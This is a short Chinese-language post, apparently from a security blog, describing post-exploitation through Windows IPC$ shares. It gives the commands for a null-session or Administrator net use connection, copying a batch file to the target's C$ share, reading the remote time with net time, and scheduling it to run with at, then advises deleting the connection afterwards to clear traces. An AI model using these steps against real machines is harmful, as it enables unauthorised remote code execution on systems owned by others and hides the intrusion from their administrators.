【后渗透】利用IPC进行渗透

IPC

什么是IPC？
IPC（Internet Process Connect），直译过来就是网络进程连接，一般用来进行资源共享的。
我们经常会说IPC空连接，就是连接的时候不用账户和密码，但是一般这种情况是没啥权限的，如果我们能有一个管理员的账户，那么就可以有管理员的权限来进行渗透了。

IPC入侵思路

因为渗透的时候是需要灵活的技巧，因此这里只是记录一个渗透思路罢了。

IPC空连接

net use \\ip\ipc$ "" /user:""

以某用户账户登陆

net use \\ip\ipc$ "password" /user:Administrator

之后，我们可以写一个批处理文件，里面包含这我们想执行的命令，然后copy到服务器上

copy 1.bat \\ip\c$

这样，就会把它上传到c盘

之后我们可以利用windows的定时任务来执行这个文件
首先我们看一下服务器上的时间

net time \\ip

之后利用at命令来设置定时任务

at \\ip 时间 文件名

渗透完毕后记得删掉记录

net use \\ip\ipc$ /del